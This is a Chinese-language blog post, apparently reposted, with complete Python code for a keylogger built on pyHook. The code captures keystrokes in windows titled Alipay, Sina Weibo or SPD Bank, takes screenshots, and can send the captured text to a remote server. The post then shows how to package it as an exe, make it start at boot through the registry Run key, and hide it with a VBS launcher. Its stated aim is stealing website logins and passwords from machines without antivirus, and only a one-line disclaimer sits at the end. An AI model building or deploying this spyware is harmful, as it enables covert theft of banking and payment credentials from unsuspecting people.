Python利用pyHook實現監聽用戶鼠標與鍵盤事件

從網上看到的,正好和自己想做的東西很像, 日後改成python3版本並修改完善。

本文以一段簡單的監聽鼠標、鍵盤事件的程序,實現獲取用戶的輸入(比如登錄某些網站的賬號、密碼)的功能。經測試,對於一臺“裸奔”的電腦,完全能獲取到用戶輸入的任何信息;但是如果安裝了殺毒軟件,就夠嗆了。具體實現方法如下:

一、代碼部分:獲取用戶輸入信息,並與截圖一起保存到XX目錄下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
# -*- coding: utf-8 -*- #
 
import pythoncom
import pyHook 
import time
import socket
from PIL import ImageGrab
 
#
#如果是遠程監聽某個目標電腦,可以自己架設一個服務器,然後將獲取到的信息發回給服務器
#
def send_msg_to_server(msg):
  host=""
  port=1234
  buf_size=1024
  addr=(host,port)
  if len(msg)>0:
    tcp_client_sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    tcp_client_sock.connect(addr)
    info=time.strftime('%Y%m%d%H%M%S',time.localtime(time.time()))+' from '+socket.gethostname()+':'
    tcp_client_sock.sendall(info+msg)
    tcp_client_sock.close()
     
#
#也可以將獲取到的信息保存到本地文件下
#
def write_msg_to_txt(msg): 
  f=open('D:/workspace/mytest/pyhook/media/monitor.txt','a')
  f.write(msg+'\r\n')
  f.close()
 
def onMouseEvent(event):
  # 監聽鼠標事件  
  global MSG
  if len(MSG)!=0:   
    #send_msg_to_server(MSG)
    write_msg_to_txt(MSG)
    MSG=''
    pic_name = time.strftime('%Y%m%d%H%M%S',time.localtime(time.time()))
    #將用戶屏幕截圖,保存到本地某個目錄下(也可以搞成遠程發送到自己的服務器)
    pic = ImageGrab.grab()
    pic.save('D:/workspace/mytest/pyhook/media/mouse_%s.png' % pic_name)
  return True
  
def onKeyboardEvent(event):
  #監聽鍵盤事件
  global MSG
  title= event.WindowName.decode('GBK')
  #通過網站title,判斷當前網站是否是“監聽目標”
  if title.find(u"支付寶") != -1 or title.find(u'新浪微博')!=-1 or title.find(u'浦發銀行')!=-1:
    #Ascii: 8-Backspace , 9-Tab ,13-Enter
    if (127 >= event.Ascii > 31) or (event.Ascii == 8):
      MSG += chr(event.Ascii)       
    if (event.Ascii == 9) or (event.Ascii == 13):     
      #send_msg_to_remote(MSG)
      write_msg_to_txt(MSG)
      MSG = ''
      #屏幕抓圖實現
      pic_name = time.strftime('%Y%m%d%H%M%S',time.localtime(time.time()))
      pic = ImageGrab.grab()
      #保存成爲以日期命名的圖片
      pic.save('D:/workspace/mytest/pyhook/media/keyboard_%s.png' % pic_name)
  return True
  
if __name__ == "__main__":  
  MSG = '' 
  #創建hook句柄
  hm = pyHook.HookManager()
 
  #監控鼠標
  hm.SubscribeMouseLeftDown(onMouseEvent)
  hm.HookMouse()
 
  #監控鍵盤
  hm.KeyDown = onKeyboardEvent
  hm.HookKeyboard()
 
  #循環獲取消息
  pythoncom.PumpMessages()

二、用py2exe將腳本打包:

新建一個py文件setup.py,內容如下:

1
2
3
4
from distutils.core import setup
import py2exe
setup(console=["monitor.py"])
#setup(windows=["monitor.py"])

命令行執行以下命令:

1
pythonsetup.pypy2exe

三、將該程序設置爲開機自動啓動:

步驟①:

將需要開機啓動的文件(創建一個快捷方式,然後)放到“開始/所有程序/啓動”目錄下

步驟②:

修改註冊表:命令行— regedit ,然後到以下路徑下:
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]  

新建一個“字符串值”,然後編輯:設置exe文件所在路徑
D:\workspace\mytest\pyhook\dist\monitor.exe

(以上兩種方式啓動monitor.exe的話,會彈出一個命令框,顯示監聽日誌信息,這樣的話,被監聽的人一下就能發現了,可以試試下面這個方式)

步驟③:

新建一個 .vbs文件,內容如下:

1
2
setwscriptObj=CreateObject("Wscript.Shell")
wscriptObj.run“D:\workspace\mytest\pyhook\dist\monitor.exe",0

雙擊運行該vbs文件,則monitor.exe就在後臺啓動了(不會彈出一個大黑框)。
然後參考法①、② 把該vbs設置成開機啓動即可。

補充:

1、該程序涉及到一些模塊都需要自己安裝一下;
2、文章中凡是“D:\workspace....”這樣的路徑都需要改成自己的真實路徑;
3、本代碼僅爲測試示例,讀者不要將其用於非法用途。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章